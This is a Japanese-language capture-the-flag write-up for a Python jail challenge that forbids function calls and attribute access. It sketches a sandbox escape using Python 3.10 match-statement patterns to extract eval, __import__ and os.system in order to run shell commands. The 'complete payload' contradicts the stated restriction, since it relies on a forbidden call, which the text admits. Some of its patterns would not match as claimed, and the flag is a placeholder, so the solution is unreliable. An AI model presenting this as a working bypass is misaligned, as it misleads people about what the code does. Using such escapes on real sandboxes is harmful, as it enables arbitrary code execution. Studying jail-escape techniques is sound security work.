DiceCTF 2023 - Prison Reform

Challenge

Python 3.10+ の環境で、特定の構文が制限されている。

# Python 3.10+
import ast

code = input()
tree = ast.parse(code)

FORBIDDEN = {ast.Call, ast.Attribute}

for node in ast.walk(tree):
    if type(node) in FORBIDDEN:
        print("Forbidden!")
        exit()

exec(code)

Solution

match 文の利用

Python 3.10 で導入された match 文を使用:

match __builtins__:
    case {'eval': e}:
        pass

# e に eval 関数がバインドされる

パターンマッチングによる属性抽出

match obj:
    case type(__class__=c):
        pass

# c に obj.__class__ がバインドされる

完全なペイロード

match __builtins__:
    case {'__import__': i}:
        pass

match i('os'):
    case type(system=s):
        pass

# s('id') を実行
# ただし Call が禁止されている場合は別の方法が必要

Technical Details

match 文の AST

import ast

code = """
match x:
    case y:
        pass
"""
tree = ast.parse(code)
# Match(subject=Name(id='x'), cases=[...])

パターンの種類

パターン	例
Capture	`case x:`
Mapping	`case {'key': v}:`
Class	`case type(attr=x):`
Sequence	`case [a, b]:`
OR	`case a \| b:`

Call なしでの関数実行

# デコレータを使用
@func
class X: pass

Alternative Solutions

別解1: walrus 演算子との組み合わせ

match [x := __builtins__]:
    case _:
        pass

別解2: 例外からのフレーム取得

try:
    raise ValueError
except ValueError as e:
    match e:
        case type(__traceback__=tb):
            pass

Flag

dice{...}

References

DiceCTF 2023 Official
PEP 634 (Structural Pattern Matching)